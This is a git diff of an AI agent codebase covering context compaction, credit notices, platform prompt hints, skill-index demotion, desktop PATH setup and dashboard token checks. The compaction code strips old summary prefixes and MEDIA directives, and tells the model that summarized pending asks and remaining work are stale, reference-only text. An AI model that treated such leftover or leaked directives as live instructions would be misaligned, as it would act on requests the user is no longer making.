# one of these can be inherited into a resumed lineage (#35344); when it is
|
||||
# re-normalized on re-compaction we must strip the OLD prefix too, otherwise the
|
||||
# stale directive it carried (e.g. "resume exactly from Active Task") survives
|
||||
# embedded in the body and keeps hijacking replies. Keep newest-first; entries
|
||||
# are matched literally. Add a frozen copy here whenever SUMMARY_PREFIX changes.
|
||||
_HISTORICAL_SUMMARY_PREFIXES = (
|
||||
"described here — avoid repeating it:",
|
||||
# Pre-#35344: contained the self-contradicting "resume exactly" directive.
|
||||
"[CONTEXT COMPACTION — REFERENCE ONLY] Earlier turns were compacted "
|
||||
"into the summary below. This is a handoff from a previous context "
|
||||
@@ -110,10 +143,18 @@ _SUMMARY_FAILURE_COOLDOWN_SECONDS = 600
|
||||
# become another unbounded transcript copy after the LLM summarizer failed.
|
||||
_FALLBACK_SUMMARY_MAX_CHARS = 8_000
|
||||
_FALLBACK_TURN_MAX_CHARS = 700
|
||||
_AUTO_FOCUS_MAX_TURNS = 3
|
||||
_AUTO_FOCUS_TURN_MAX_CHARS = 260
|
||||
_AUTO_FOCUS_MAX_CHARS = 700
|
||||
|
||||
|
||||
_PATH_MENTION_RE = re.compile(r"(?:/|~/?|[A-Za-z]:\\)[^\s`'\")\]}<>]+")
|
||||
|
||||
# MEDIA delivery directives must not reach the summarizer — if one leaks into
|
||||
# the summary, the downstream model may re-emit it as an active directive on
|
||||
# the next turn, triggering bogus attachment sends (#14665).
|
||||
_MEDIA_DIRECTIVE_RE = re.compile(r"MEDIA:\S+")
|
||||
|
||||
|
||||
def _dedupe_append(items: list[str], value: str, *, limit: int) -> None:
|
||||
value = value.strip()
|
||||
@@ -974,6 +1015,7 @@ class ContextCompressor(ContextEngine):
|
||||
for msg in turns:
|
||||
role = msg.get("role", "unknown")
|
||||
content = redact_sensitive_text(msg.get("content") or "")
|
||||
content = _MEDIA_DIRECTIVE_RE.sub("[media attachment]", content)
|
||||
|
||||
# Tool results: keep enough content for the summarizer
|
||||
if role == "tool":
|
||||
@@ -1155,7 +1197,7 @@ class ContextCompressor(ContextEngine):
|
||||
)
|
||||
|
||||
reason_text = f" Summary failure reason: {reason}." if reason else ""
|
||||
body = f"""## Active Task
|
||||
body = f"""{HISTORICAL_TASK_HEADING}
|
||||
{active_task}
|
||||
|
||||
## Goal
|
||||
@@ -1172,7 +1214,7 @@ Recovered from a deterministic fallback because the LLM context summarizer was u
|
||||
## Active State
|
||||
Unknown from deterministic fallback. Inspect current repository/session state if needed.
|
||||
|
||||
## In Progress
|
||||
{HISTORICAL_IN_PROGRESS_HEADING}
|
||||
{active_task}
|
||||
|
||||
## Blocked
|
||||
@@ -1184,13 +1226,13 @@ None recoverable from deterministic fallback.
|
||||
## Resolved Questions
|
||||
None recoverable from deterministic fallback.
|
||||
|
||||
## Pending User Asks
|
||||
{HISTORICAL_PENDING_ASKS_HEADING}
|
||||
{active_task}
|
||||
|
||||
## Relevant Files
|
||||
{_bullets(relevant_files, limit=12)}
|
||||
|
||||
## Remaining Work
|
||||
{HISTORICAL_REMAINING_WORK_HEADING}
|
||||
Continue from the most recent unfulfilled user ask and protected tail messages. Verify state with tools before making claims.
|
||||
|
||||
## Last Dropped Turns
|
||||
@@ -1312,7 +1354,7 @@ Summary generation was unavailable, so this is a best-effort deterministic fallb
|
||||
_temporal_anchoring_rule = ""
|
||||
|
||||
# Shared structured template (used by both paths).
|
||||
_template_sections = f"""## Active Task
|
||||
_template_sections = f"""{HISTORICAL_TASK_HEADING}
|
||||
[THE SINGLE MOST IMPORTANT FIELD. Capture the user's most recent unfulfilled
|
||||
input verbatim — the exact words they used. This includes:
|
||||
- Explicit task assignments ("refactor the auth module")
|
||||
@@ -1359,7 +1401,7 @@ Be specific with file paths, commands, line numbers, and results.]
|
||||
- Any running processes or servers
|
||||
- Environment details that matter]
|
||||
|
||||
## In Progress
|
||||
{HISTORICAL_IN_PROGRESS_HEADING}
|
||||
[Work currently underway — what was being done when compaction fired]
|
||||
|
||||
## Blocked
|
||||
@@ -1371,14 +1413,14 @@ Be specific with file paths, commands, line numbers, and results.]
|
||||
## Resolved Questions
|
||||
[Questions the user asked that were ALREADY answered — include the answer so it is not repeated]
|
||||
|
||||
## Pending User Asks
|
||||
[Questions or requests from the user that have NOT yet been answered or fulfilled. If none, write "None."]
|
||||
{HISTORICAL_PENDING_ASKS_HEADING}
|
||||
[Questions or requests from the user that have NOT yet been answered or fulfilled. These are STALE — they were from the compacted turns. Write them here for reference only. The agent must NOT act on them unless the latest user message explicitly requests it. If none, write "None."]
|
||||
|
||||
## Relevant Files
|
||||
[Files read, modified, or created — with brief note on each]
|
||||
|
||||
## Remaining Work
|
||||
[What remains to be done — framed as context, not instructions]
|
||||
{HISTORICAL_REMAINING_WORK_HEADING}
|
||||
[What remains to be done — framed as STALE context for reference only. The agent must NOT resume this work unless the latest user message explicitly asks for it.]
|
||||
|
||||
## Critical Context
|
||||
[Any specific values, error messages, configuration details, or data that would be lost without explicit preservation. NEVER include API keys, tokens, passwords, or credentials — write [REDACTED] instead.]
|
||||
@@ -1421,7 +1463,7 @@ Use this exact structure:
|
||||
prompt += f"""
|
||||
|
||||
FOCUS TOPIC: "{focus_topic}"
|
||||
The user has requested that this compaction PRIORITISE preserving all information related to the focus topic above. For content related to "{focus_topic}", include full detail — exact values, file paths, command outputs, error messages, and decisions. For content NOT related to the focus topic, summarise more aggressively (brief one-liners or omit if truly irrelevant). The focus topic sections should receive roughly 60-70% of the summary token budget. Even for the focus topic, NEVER preserve API keys, tokens, passwords, or credentials — use [REDACTED]."""
|
||||
This compaction should PRIORITISE preserving all information related to the focus topic above. For content related to "{focus_topic}", include full detail — exact values, file paths, command outputs, error messages, and decisions. For content NOT related to the focus topic, summarise more aggressively (brief one-liners or omit if truly irrelevant). The focus topic sections should receive roughly 60-70% of the summary token budget. Even for the focus topic, NEVER preserve API keys, tokens, passwords, or credentials — use [REDACTED]."""
|
||||
|
||||
try:
|
||||
call_kwargs = {
|
||||
@@ -1590,6 +1632,39 @@ The user has requested that this compaction PRIORITISE preserving all informatio
|
||||
return True
|
||||
return any(text.startswith(p) for p in _HISTORICAL_SUMMARY_PREFIXES)
|
||||
|
||||
@classmethod
|
||||
def _derive_auto_focus_topic(
|
||||
cls,
|
||||
messages: List[Dict[str, Any]],
|
||||
) -> Optional[str]:
|
||||
"""Infer a compact focus hint from the most recent real user turns."""
|
||||
candidates: list[str] = []
|
||||
for idx in range(len(messages) - 1, -1, -1):
|
||||
msg = messages[idx]
|
||||
if msg.get("role") != "user":
|
||||
continue
|
||||
content = msg.get("content")
|
||||
if cls._is_context_summary_content(content):
|
||||
continue
|
||||
text = redact_sensitive_text(_content_text_for_contains(content).strip())
|
||||
if not text:
|
||||
continue
|
||||
text = " ".join(text.split())
|
||||
if len(text) > _AUTO_FOCUS_TURN_MAX_CHARS:
|
||||
text = text[: _AUTO_FOCUS_TURN_MAX_CHARS - 1].rstrip() + "…"
|
||||
candidates.append(text)
|
||||
if len(candidates) >= _AUTO_FOCUS_MAX_TURNS:
|
||||
break
|
||||
|
||||
if not candidates:
|
||||
return None
|
||||
|
||||
candidates.reverse()
|
||||
focus = "Recent user focus:\n" + "\n".join(f"- {item}" for item in candidates)
|
||||
if len(focus) > _AUTO_FOCUS_MAX_CHARS:
|
||||
focus = focus[: _AUTO_FOCUS_MAX_CHARS - 1].rstrip() + "…"
|
||||
return focus
|
||||
|
||||
@classmethod
|
||||
def _find_latest_context_summary(
|
||||
cls,
|
||||
@@ -1753,7 +1828,7 @@ The user has requested that this compaction PRIORITISE preserving all informatio
|
||||
Context compressor bug (#10896): ``_align_boundary_backward`` can pull
|
||||
``cut_idx`` past a user message when it tries to keep tool_call/result
|
||||
groups together. If the last user message ends up in the *compressed*
|
||||
middle region the LLM summariser writes it into "Pending User Asks",
|
||||
middle region the LLM summariser writes it into "Historical Pending User Asks",
|
||||
but ``SUMMARY_PREFIX`` tells the next model to respond only to user
|
||||
messages *after* the summary — so the task effectively disappears from
|
||||
the active context, causing the agent to stall, repeat completed work,
|
||||
@@ -2037,7 +2112,8 @@ The user has requested that this compaction PRIORITISE preserving all informatio
|
||||
)
|
||||
|
||||
# Phase 3: Generate structured summary
|
||||
summary = self._generate_summary(turns_to_summarize, focus_topic=focus_topic)
|
||||
summary_focus_topic = focus_topic or self._derive_auto_focus_topic(messages)
|
||||
summary = self._generate_summary(turns_to_summarize, focus_topic=summary_focus_topic)
|
||||
|
||||
# If summary generation failed, behavior splits on
|
||||
# ``abort_on_summary_failure`` (config: compression.abort_on_summary_failure):
|
||||
|
||||
@@ -286,6 +286,16 @@ def evaluate_credits_notices(
|
||||
for band in CREDITS_USAGE_BANDS: # ascending → last match wins = highest
|
||||
if uf >= band[0]:
|
||||
current_band = band
|
||||
# Top-up suppression: when the account holds purchased (top-up) credits,
|
||||
# the subscription-cap gauge is the wrong denominator — warning "90% used"
|
||||
# at a user sitting on $50 of top-up is noise (and it previously stuck
|
||||
# PERMANENTLY alongside grant_spent at >=100%). Suppress the usage band
|
||||
# entirely; the cap-reached case is covered by the grant_spent info notice
|
||||
# below, which already names the remaining top-up balance. A top-up landing
|
||||
# mid-session flips current_band → None and the clear path below removes
|
||||
# any showing band line.
|
||||
if state.purchased_micros > 0:
|
||||
current_band = None
|
||||
grant_cond = (
|
||||
state.denominator_kind == "subscription_cap"
|
||||
and uf is not None
|
||||
@@ -345,7 +355,7 @@ def evaluate_credits_notices(
|
||||
if show_depleted and "credits.depleted" not in active:
|
||||
to_show.append(
|
||||
AgentNotice(
|
||||
text="✕ Credit access paused · run /usage for balance",
|
||||
text="✕ Credit access paused · run /credits to top up",
|
||||
level="error",
|
||||
kind=CREDITS_NOTICE_KIND,
|
||||
key="credits.depleted",
|
||||
|
||||
+52
-29
@@ -489,6 +489,23 @@ PLATFORM_HINTS = {
|
||||
"files arrive as downloadable documents. You can also include image "
|
||||
"URLs in markdown format  and they will be sent as photos."
|
||||
),
|
||||
"whatsapp_cloud": (
|
||||
"You are on a text messaging communication platform, WhatsApp "
|
||||
"(via Meta's official Business Cloud API). Standard markdown "
|
||||
"(**bold**, ~~strike~~, # headers, [links](url)) is auto-converted "
|
||||
"to WhatsApp's native syntax (*bold*, ~strike~, etc.) — feel free "
|
||||
"to write in markdown. Tables are NOT supported — prefer bullet "
|
||||
"lists or labeled key:value pairs. "
|
||||
"You can send media files natively: include MEDIA:/absolute/path/to/file "
|
||||
"in your response. Images (.jpg, .png) become photo attachments, "
|
||||
"videos (.mp4) play inline, audio (.mp3, .ogg) sends as voice/audio "
|
||||
"messages, other files arrive as documents. Image URLs in markdown "
|
||||
"format  also work. "
|
||||
"IMPORTANT: this platform has a 24-hour conversation window — if the "
|
||||
"user hasn't messaged in 24h, free-form replies are refused by Meta "
|
||||
"(error 131047). This rarely matters for live chat, but is worth "
|
||||
"knowing if you're scheduling a delayed message."
|
||||
),
|
||||
"telegram": (
|
||||
"You are on a text messaging communication platform, Telegram. "
|
||||
"Standard markdown is automatically converted to Telegram format. "
|
||||
@@ -1101,7 +1118,7 @@ def _skill_should_show(
|
||||
def build_skills_system_prompt(
|
||||
available_tools: "set[str] | None" = None,
|
||||
available_toolsets: "set[str] | None" = None,
|
||||
hidden_categories: "frozenset[str] | None" = None,
|
||||
compact_categories: "frozenset[str] | None" = None,
|
||||
) -> str:
|
||||
"""Build a compact skill index for the system prompt.
|
||||
|
||||
@@ -1117,11 +1134,11 @@ def build_skills_system_prompt(
|
||||
are read-only — they appear in the index but new skills are always created
|
||||
in the local dir. Local skills take precedence when names collide.
|
||||
|
||||
``hidden_categories`` (e.g. from the coding posture — see
|
||||
agent/coding_context.py) prunes whole categories from the rendered index.
|
||||
Discovery-only: the snapshot stores everything, ``skills_list`` /
|
||||
``skill_view`` still reach every skill, and a footer note tells the model
|
||||
the full catalog exists.
|
||||
``compact_categories`` (e.g. from the coding posture — see
|
||||
agent/coding_context.py) demotes whole categories to a names-only line in
|
||||
the rendered index. Nothing is ever hidden: every skill name stays
|
||||
visible and loadable via ``skill_view`` / ``skills_list``; only the
|
||||
descriptions are dropped, and a footer note explains the demotion.
|
||||
"""
|
||||
skills_dir = get_skills_dir()
|
||||
external_dirs = get_all_skills_dirs()[1:] # skip local (index 0)
|
||||
@@ -1146,7 +1163,7 @@ def build_skills_system_prompt(
|
||||
tuple(sorted(str(ts) for ts in (available_toolsets or set()))),
|
||||
_platform_hint,
|
||||
tuple(sorted(disabled)),
|
||||
tuple(sorted(hidden_categories or ())),
|
||||
tuple(sorted(compact_categories or ())),
|
||||
)
|
||||
with _SKILLS_PROMPT_CACHE_LOCK:
|
||||
cached = _SKILLS_PROMPT_CACHE.get(cache_key)
|
||||
@@ -1280,38 +1297,44 @@ def build_skills_system_prompt(
|
||||
except Exception as e:
|
||||
logger.debug("Could not read external skill description %s: %s", desc_file, e)
|
||||
|
||||
# Posture-driven category pruning (e.g. non-coding skills while pairing on
|
||||
# code). Match on the top-level category segment so nested categories
|
||||
# ("social-media/twitter") are pruned with their parent.
|
||||
# Posture-driven category demotion (e.g. non-coding skills while pairing
|
||||
# on code). Demoted categories stay in the index as a single names-only
|
||||
# line — descriptions are dropped to cut noise, but every skill name
|
||||
# remains visible so memory-anchored recall ("load <name>") keeps working.
|
||||
# NEVER remove entries entirely: agent-created skills are the model's
|
||||
# project memory, and models don't reach for skills_list to rediscover
|
||||
# what the index stops showing them. Match on the top-level category
|
||||
# segment so nested categories ("social-media/twitter") are demoted with
|
||||
# their parent.
|
||||
demoted = frozenset(
|
||||
cat for cat in skills_by_category
|
||||
if cat.split("/", 1)[0] in (compact_categories or frozenset())
|
||||
)
|
||||
|
||||
hidden_note = ""
|
||||
if hidden_categories:
|
||||
before = sum(len(v) for v in skills_by_category.values())
|
||||
skills_by_category = {
|
||||
cat: entries
|
||||
for cat, entries in skills_by_category.items()
|
||||
if cat.split("/", 1)[0] not in hidden_categories
|
||||
}
|
||||
pruned = before - sum(len(v) for v in skills_by_category.values())
|
||||
if pruned:
|
||||
hidden_note = (
|
||||
f"\n(Note: {pruned} skill(s) in categories unrelated to the "
|
||||
"current coding context are not listed here. The full catalog "
|
||||
"is available via skills_list if the user asks for something "
|
||||
"outside this list.)"
|
||||
)
|
||||
if demoted:
|
||||
hidden_note = (
|
||||
"\n(Categories marked [names only] are outside the current coding "
|
||||
"context, so their descriptions are omitted — the skills work "
|
||||
"normally and load with skill_view(name) as usual.)"
|
||||
)
|
||||
|
||||
if not skills_by_category:
|
||||
result = ""
|
||||
else:
|
||||
index_lines = []
|
||||
for category in sorted(skills_by_category.keys()):
|
||||
# Deduplicate and sort skills within each category
|
||||
seen = set()
|
||||
if category in demoted:
|
||||
names = sorted({name for name, _ in skills_by_category[category]})
|
||||
index_lines.append(f" {category} [names only]: {', '.join(names)}")
|
||||
continue
|
||||
cat_desc = category_descriptions.get(category, "")
|
||||
if cat_desc:
|
||||
index_lines.append(f" {category}: {cat_desc}")
|
||||
else:
|
||||
index_lines.append(f" {category}:")
|
||||
# Deduplicate and sort skills within each category
|
||||
seen = set()
|
||||
for name, desc in sorted(skills_by_category[category], key=lambda x: x[0]):
|
||||
if name in seen:
|
||||
continue
|
||||
@@ -1412,13 +1435,13 @@ def build_nous_subscription_prompt(valid_tool_names: "set[str] | None" = None) -
|
||||
|
||||
lines = [
|
||||
"# Nous Subscription",
|
||||
"Nous subscription includes managed web tools (Firecrawl), image generation (FAL), OpenAI TTS, and browser automation (Browser Use) by default. Modal execution is optional.",
|
||||
"Nous subscription includes managed web tools (Firecrawl), image generation (FAL), OpenAI TTS, OpenAI Whisper STT, and browser automation (Browser Use) by default. Modal execution is optional.",
|
||||
"Current capability status:",
|
||||
]
|
||||
lines.extend(_status_line(feature) for feature in features.items())
|
||||
lines.extend(
|
||||
[
|
||||
"When a Nous-managed feature is active, do not ask the user for Firecrawl, FAL, OpenAI TTS, or Browser-Use API keys.",
|
||||
"When a Nous-managed feature is active, do not ask the user for Firecrawl, FAL, OpenAI TTS, OpenAI Whisper, or Browser-Use API keys.",
|
||||
"If the user is not subscribed and asks for a capability that Nous subscription would unlock or simplify, suggest Nous subscription as one option alongside direct setup or local alternatives.",
|
||||
"Do not mention subscription unless the user asks about it or it directly solves the current missing capability.",
|
||||
"Useful commands: hermes setup, hermes setup tools, hermes setup terminal, hermes status.",
|
||||
|
||||
@@ -191,21 +191,23 @@ def build_system_prompt_parts(agent: Any, system_message: Optional[str] = None)
|
||||
)
|
||||
if toolset
|
||||
}
|
||||
# Coding posture prunes non-coding skill categories from the index
|
||||
# (discovery-only — skills_list/skill_view still reach everything).
|
||||
_hidden_cats = frozenset()
|
||||
# Focus mode (opt-in) demotes non-coding skill categories to
|
||||
# names-only in the index (never hidden — skill_view/skills_list
|
||||
# reach everything, and every name stays visible for recall). The
|
||||
# default coding posture leaves the index untouched.
|
||||
_compact_cats = frozenset()
|
||||
try:
|
||||
from agent.coding_context import coding_hidden_skill_categories
|
||||
from agent.coding_context import coding_compact_skill_categories
|
||||
|
||||
_hidden_cats = coding_hidden_skill_categories(
|
||||
_compact_cats = coding_compact_skill_categories(
|
||||
platform=agent.platform, cwd=resolve_context_cwd()
|
||||
)
|
||||
except Exception:
|
||||
_hidden_cats = frozenset()
|
||||
_compact_cats = frozenset()
|
||||
skills_prompt = _r.build_skills_system_prompt(
|
||||
available_tools=agent.valid_tool_names,
|
||||
available_toolsets=avail_toolsets,
|
||||
hidden_categories=_hidden_cats or None,
|
||||
compact_categories=_compact_cats or None,
|
||||
)
|
||||
else:
|
||||
skills_prompt = ""
|
||||
|
||||
@@ -0,0 +1,101 @@
|
||||
const path = require('node:path')
|
||||
|
||||
// Match the POSIX fallback surface used by the Python terminal environment.
|
||||
// macOS apps launched from Finder/Dock often inherit only /usr/bin:/bin:/usr/sbin:/sbin,
|
||||
// which misses Apple Silicon Homebrew and user-installed CLI tools such as codex.
|
||||
const POSIX_SANE_PATH_ENTRIES = Object.freeze([
|
||||
'/opt/homebrew/bin',
|
||||
'/opt/homebrew/sbin',
|
||||
'/usr/local/sbin',
|
||||
'/usr/local/bin',
|
||||
'/usr/sbin',
|
||||
'/usr/bin',
|
||||
'/sbin',
|
||||
'/bin'
|
||||
])
|
||||
|
||||
function delimiterForPlatform(platform = process.platform) {
|
||||
return platform === 'win32' ? ';' : ':'
|
||||
}
|
||||
|
||||
function pathModuleForPlatform(platform = process.platform) {
|
||||
return platform === 'win32' ? path.win32 : path.posix
|
||||
}
|
||||
|
||||
function pathEnvKey(env = process.env, platform = process.platform) {
|
||||
if (platform !== 'win32') return 'PATH'
|
||||
return Object.keys(env || {}).find(key => key.toUpperCase() === 'PATH') || 'PATH'
|
||||
}
|
||||
|
||||
function currentPathValue(env = process.env, platform = process.platform) {
|
||||
const key = pathEnvKey(env, platform)
|
||||
return env?.[key] || ''
|
||||
}
|
||||
|
||||
function appendUniquePathEntries(entries, { delimiter = path.delimiter } = {}) {
|
||||
const seen = new Set()
|
||||
const ordered = []
|
||||
|
||||
for (const entry of entries) {
|
||||
if (!entry) continue
|
||||
const parts = Array.isArray(entry) ? entry : String(entry).split(delimiter)
|
||||
for (const part of parts) {
|
||||
if (!part || seen.has(part)) continue
|
||||
seen.add(part)
|
||||
ordered.push(part)
|
||||
}
|
||||
}
|
||||
|
||||
return ordered.join(delimiter)
|
||||
}
|
||||
|
||||
function buildDesktopBackendPath({
|
||||
hermesHome,
|
||||
venvRoot,
|
||||
currentPath = '',
|
||||
platform = process.platform,
|
||||
pathModule = pathModuleForPlatform(platform)
|
||||
} = {}) {
|
||||
const delimiter = delimiterForPlatform(platform)
|
||||
const hermesNodeBin = hermesHome ? pathModule.join(hermesHome, 'node', 'bin') : null
|
||||
const venvBin = venvRoot ? pathModule.join(venvRoot, platform === 'win32' ? 'Scripts' : 'bin') : null
|
||||
const saneEntries = platform === 'win32' ? [] : POSIX_SANE_PATH_ENTRIES
|
||||
|
||||
return appendUniquePathEntries(
|
||||
[hermesNodeBin, venvBin, currentPath, saneEntries],
|
||||
{ delimiter }
|
||||
)
|
||||
}
|
||||
|
||||
function buildDesktopBackendEnv({
|
||||
hermesHome,
|
||||
pythonPathEntries = [],
|
||||
venvRoot,
|
||||
currentEnv = process.env,
|
||||
platform = process.platform,
|
||||
pathModule = pathModuleForPlatform(platform)
|
||||
} = {}) {
|
||||
const delimiter = delimiterForPlatform(platform)
|
||||
const currentPythonPath = currentEnv?.PYTHONPATH || ''
|
||||
const key = pathEnvKey(currentEnv, platform)
|
||||
|
||||
return {
|
||||
PYTHONPATH: appendUniquePathEntries([...pythonPathEntries, currentPythonPath], { delimiter }),
|
||||
[key]: buildDesktopBackendPath({
|
||||
hermesHome,
|
||||
venvRoot,
|
||||
currentPath: currentPathValue(currentEnv, platform),
|
||||
platform,
|
||||
pathModule
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
module.exports = {
|
||||
POSIX_SANE_PATH_ENTRIES,
|
||||
appendUniquePathEntries,
|
||||
buildDesktopBackendEnv,
|
||||
buildDesktopBackendPath,
|
||||
delimiterForPlatform,
|
||||
pathEnvKey
|
||||
}
|
||||
@@ -0,0 +1,95 @@
|
||||
const test = require('node:test')
|
||||
const assert = require('node:assert/strict')
|
||||
const path = require('node:path')
|
||||
|
||||
const {
|
||||
POSIX_SANE_PATH_ENTRIES,
|
||||
appendUniquePathEntries,
|
||||
buildDesktopBackendEnv,
|
||||
buildDesktopBackendPath,
|
||||
pathEnvKey
|
||||
} = require('./backend-env.cjs')
|
||||
|
||||
test('desktop backend PATH adds Hermes-managed bins and missing POSIX sane entries', () => {
|
||||
const result = buildDesktopBackendPath({
|
||||
hermesHome: '/Users/test/.hermes',
|
||||
venvRoot: '/Users/test/.hermes/hermes-agent/venv',
|
||||
currentPath: '/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/bin',
|
||||
platform: 'darwin',
|
||||
pathModule: path.posix
|
||||
})
|
||||
|
||||
const entries = result.split(':')
|
||||
assert.equal(entries[0], '/Users/test/.hermes/node/bin')
|
||||
assert.equal(entries[1], '/Users/test/.hermes/hermes-agent/venv/bin')
|
||||
assert.ok(entries.includes('/opt/homebrew/bin'), 'Apple Silicon Homebrew bin is added')
|
||||
assert.ok(entries.includes('/opt/homebrew/sbin'), 'Apple Silicon Homebrew sbin is added')
|
||||
assert.ok(entries.includes('/usr/local/sbin'), 'missing standard sbin is added')
|
||||
|
||||
for (const expected of POSIX_SANE_PATH_ENTRIES) {
|
||||
assert.ok(entries.includes(expected), `${expected} should be present`)
|
||||
}
|
||||
})
|
||||
|
||||
test('desktop backend PATH preserves first occurrence and avoids duplicates', () => {
|
||||
const result = buildDesktopBackendPath({
|
||||
hermesHome: '/Users/test/.hermes',
|
||||
venvRoot: '/Users/test/.hermes/hermes-agent/venv',
|
||||
currentPath: '/opt/homebrew/bin:/usr/bin:/opt/homebrew/bin:/bin',
|
||||
platform: 'darwin',
|
||||
pathModule: path.posix
|
||||
})
|
||||
|
||||
const entries = result.split(':')
|
||||
assert.equal(entries.filter(entry => entry === '/opt/homebrew/bin').length, 1)
|
||||
assert.ok(
|
||||
entries.indexOf('/opt/homebrew/bin') < entries.indexOf('/opt/homebrew/sbin'),
|
||||
'existing Homebrew bin keeps its precedence over appended missing sane entries'
|
||||
)
|
||||
})
|
||||
|
||||
test('buildDesktopBackendEnv extends PYTHONPATH and backend PATH together', () => {
|
||||
const env = buildDesktopBackendEnv({
|
||||
hermesHome: '/Users/test/.hermes',
|
||||
pythonPathEntries: ['/repo/hermes-agent'],
|
||||
venvRoot: '/Users/test/.hermes/hermes-agent/venv',
|
||||
currentEnv: {
|
||||
PATH: '/usr/bin:/bin',
|
||||
PYTHONPATH: '/existing/pythonpath'
|
||||
},
|
||||
platform: 'darwin',
|
||||
pathModule: path.posix
|
||||
})
|
||||
|
||||
assert.equal(env.PYTHONPATH, '/repo/hermes-agent:/existing/pythonpath')
|
||||
assert.ok(env.PATH.startsWith('/Users/test/.hermes/node/bin:/Users/test/.hermes/hermes-agent/venv/bin:'))
|
||||
assert.ok(env.PATH.includes('/opt/homebrew/bin'))
|
||||
})
|
||||
|
||||
test('Windows PATH casing and delimiter are preserved without POSIX sane entries', () => {
|
||||
const env = buildDesktopBackendEnv({
|
||||
hermesHome: 'C:\\Users\\test\\AppData\\Local\\hermes',
|
||||
pythonPathEntries: ['C:\\repo\\hermes-agent'],
|
||||
venvRoot: 'C:\\Users\\test\\AppData\\Local\\hermes\\hermes-agent\\venv',
|
||||
currentEnv: {
|
||||
Path: 'C:\\Windows\\System32;C:\\Windows',
|
||||
PYTHONPATH: 'C:\\existing\\pythonpath'
|
||||
},
|
||||
platform: 'win32',
|
||||
pathModule: path.win32
|
||||
})
|
||||
|
||||
assert.equal(pathEnvKey({ Path: 'x' }, 'win32'), 'Path')
|
||||
assert.equal(env.PATH, undefined)
|
||||
assert.ok(env.Path.startsWith('C:\\Users\\test\\AppData\\Local\\hermes\\node\\bin;'))
|
||||
assert.ok(env.Path.includes('\\venv\\Scripts;'))
|
||||
assert.ok(env.Path.includes(';C:\\Windows\\System32;C:\\Windows'))
|
||||
assert.equal(env.Path.includes('/opt/homebrew/bin'), false)
|
||||
})
|
||||
|
||||
test('appendUniquePathEntries drops empty entries and keeps first occurrence', () => {
|
||||
assert.equal(
|
||||
appendUniquePathEntries([':/a::/b', ['/a', '/c']], { delimiter: ':' }),
|
||||
'/a:/b:/c'
|
||||
)
|
||||
})
|
||||
@@ -0,0 +1,99 @@
|
||||
/**
|
||||
* Helpers for local dashboard session-token discovery.
|
||||
*
|
||||
* The desktop main process can pass HERMES_DASHBOARD_SESSION_TOKEN when it
|
||||
* spawns the local dashboard, but the dashboard is the source of truth for the
|
||||
* token it actually serves to the renderer. If those drift, HTTP readiness
|
||||
* probes still pass while /api/ws rejects the renderer's token.
|
||||
*/
|
||||
|
||||
const DEFAULT_TOKEN_FETCH_TIMEOUT_MS = 3_000
|
||||
|
||||
async function fetchPublicText(url, options = {}) {
|
||||
const { protocol } = new URL(url)
|
||||
if (protocol !== 'http:' && protocol !== 'https:') {
|
||||
throw new Error(`Unsupported Hermes backend URL protocol: ${protocol}`)
|
||||
}
|
||||
|
||||
const timeoutMs = options.timeoutMs ?? DEFAULT_TOKEN_FETCH_TIMEOUT_MS
|
||||
const res = await fetch(url, { signal: AbortSignal.timeout(timeoutMs) }).catch(error => {
|
||||
if (error.name === 'TimeoutError') {
|
||||
throw new Error(`Timed out connecting to Hermes backend after ${timeoutMs}ms`)
|
||||
}
|
||||
throw error
|
||||
})
|
||||
const text = await res.text()
|
||||
|
||||
if (!res.ok) throw new Error(`${res.status}: ${text || res.statusText}`)
|
||||
|
||||
return text
|
||||
}
|
||||
|
||||
function extractInjectedDashboardToken(html) {
|
||||
const match = /window\.__HERMES_SESSION_TOKEN__\s*=\s*("(?:\\.|[^"\\])*")/.exec(String(html || ''))
|
||||
if (!match) return null
|
||||
try {
|
||||
return JSON.parse(match[1])
|
||||
} catch {
|
||||
return null
|
||||
}
|
||||
}
|
||||
|
||||
function dashboardIndexUrl(baseUrl) {
|
||||
return `${String(baseUrl || '').replace(/\/+$/, '')}/`
|
||||
}
|
||||
|
||||
async function resolveServedDashboardToken(baseUrl, fallbackToken, options = {}) {
|
||||
const fetchText = options.fetchText || fetchPublicText
|
||||
const html = await fetchText(dashboardIndexUrl(baseUrl), {
|
||||
timeoutMs: options.timeoutMs ?? DEFAULT_TOKEN_FETCH_TIMEOUT_MS
|
||||
})
|
||||
const servedToken = extractInjectedDashboardToken(html)
|
||||
|
||||
if (servedToken && servedToken !== fallbackToken && typeof options.rememberLog === 'function') {
|
||||
options.rememberLog('[boot] dashboard served a different session token; using served token for WebSocket auth')
|
||||
}
|
||||
|
||||
return servedToken || fallbackToken
|
||||
}
|
||||
|
||||
/**
|
||||
* A served token that differs from our spawn token while our child is DEAD
|
||||
* came from a process we did not spawn (orphan/port squatter that satisfied
|
||||
* the public /api/status readiness probe). With a live child the mismatch is
|
||||
* benign: our own backend regenerated the token because the env pin did not
|
||||
* survive the spawn.
|
||||
*/
|
||||
function isForeignBackendToken({ servedToken, spawnToken, childAlive }) {
|
||||
return Boolean(servedToken) && servedToken !== spawnToken && !childAlive
|
||||
}
|
||||
|
||||
/**
|
||||
* Resolve the token the backend actually serves, adopting benign drift and
|
||||
* failing loudly on a foreign backend. `childAlive` is a thunk so liveness is
|
||||
* sampled after the fetch, not before.
|
||||
*/
|
||||
async function adoptServedDashboardToken(baseUrl, spawnToken, { childAlive, label = 'Hermes backend', ...options }) {
|
||||
const servedToken = await resolveServedDashboardToken(baseUrl, spawnToken, options).catch(error => {
|
||||
options.rememberLog?.(`[boot] could not read served dashboard token (${label}): ${error.message}`)
|
||||
return spawnToken
|
||||
})
|
||||
|
||||
if (isForeignBackendToken({ servedToken, spawnToken, childAlive: childAlive() })) {
|
||||
throw new Error(
|
||||
`${label} exited and ${dashboardIndexUrl(baseUrl)} is served by a process we did not spawn; refusing its session token.`
|
||||
)
|
||||
}
|
||||
|
||||
return servedToken
|
||||
}
|
||||
|
||||
module.exports = {
|
||||
DEFAULT_TOKEN_FETCH_TIMEOUT_MS,
|
||||
adoptServedDashboardToken,
|
||||
dashboardIndexUrl,
|
||||
extractInjectedDashboardToken,
|
||||
fetchPublicText,
|
||||
isForeignBackendToken,
|
||||
resolveServedDashboardToken
|
||||
}
|
||||
@@ -0,0 +1,142 @@
|
||||
/**
|
||||
* Tests for electron/dashboard-token.cjs.
|
||||
*
|
||||
* Run with: node --test electron/dashboard-token.test.cjs
|
||||
* (Wired into npm test:desktop:platforms in package.json.)
|
||||
*/
|
||||
|
||||
const test = require('node:test')
|
||||
